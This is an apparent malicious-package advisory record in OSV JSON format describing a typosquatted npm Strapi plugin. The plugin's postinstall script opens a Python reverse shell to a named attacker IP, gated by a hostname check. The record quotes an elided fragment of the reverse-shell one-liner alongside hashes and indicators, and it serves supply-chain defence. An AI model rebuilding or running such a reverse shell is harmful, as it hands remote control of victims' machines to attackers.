{"id":"MAL-2026-16239","summary":"Malicious code in strapi-plugin-pysh-meeb (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (188e8ecd93a0124135c178af848914dbd0f8cc7c3f9fdc7f5137fc94e46bb27d)\nstrapi-plugin-pysh-meeb@3.6.8 ships a postinstall.js (also declared as the package main) that runs automatically on npm install. The script uses child_process to spawn a Python one-liner (`python3 -c 'import sys,socket,os,pty;...pty.spawn(\"sh\")'`) which opens an outbound TCP connection to the hardcoded attacker IP 14.225.210.85:80 and hands an interactive PTY shell to the remote endpoint, giving full remote code execution on the installer's host. Detonation is gated by an os.hostname() equality check against 'ubuntu-fc-uvm', a targeting/evasion mechanism that suppresses the payload on other hosts while firing on the intended victim; retry logic is present to re-establish the connection. Package metadata is consistent with a typosquat dropper: the name mimics a Strapi plugin, the repository URL uses a placeholder 'user' org and a mismatched slug (strapi-plugin-yayccresh-meeb), and the description is a generic 'Strapi plugin for enhanced functionality'. No legitimate plugin functionality is shipped.\n","modified":"2026-09-16T14:30:06.306340911Z","published":"2026-09-16T13:58:38Z","database_specific":{"malicious-packages-origins":[{"sha256":"188e8ecd93a0124135c178af848914dbd0f8cc7c3f9fdc7f5137fc94e46bb27d","source":"amazon-inspector","versions":["3.6.8"],"id":"IN-MAL-2026-020100","import_time":"2026-09-16T14:19:37.927782095Z","modified_time":"2026-09-16T13:58:38Z"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/strapi-plugin-pysh-meeb/v/3.6.8"}],"affected":[{"package":{"name":"strapi-plugin-pysh-meeb","ecosystem":"npm","purl":"pkg:npm/strapi-plugin-pysh-meeb"},"versions":["3.6.8"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/strapi-plugin-pysh-meeb/MAL-2026-16239.json","cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"indicators":{"package_integrity":[{"filename":"strapi-plugin-pysh-meeb-3.6.8.tgz","hashes":{"sha512_sri":"sha512-4OLJqw05AYHRBOWm816HuNv/4WAB0XzD3HrW0BuOnDnQ50wpfb3w+/C3IkpLJ386B3/B57gcK/0qChODYNcxzA==","sha1":"03822e9badbf357dd5a985dad804ec5ef764ee7c"}}],"evidence_files":[{"sha256":"4d4d4c8b33a87d03be45370616b16c71a8b91a8cb12899fac511a5db72cc6993","tlsh":"ba4131ad06bf273a63334ca8521b8097e51701023512d578799c8b53bfd5d99c531bf9","path":"postinstall.js"},{"path":"package.json","sha256":"bf67708429fb6fa94bf748fe1db6b050147a423dfcffbfb5634839921bd75bca","tlsh":"eaf0495aca2495532de93a94a81a1182a7264e478c81fc1c23b3011c8f0e2e7747f5dd"}]}}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}
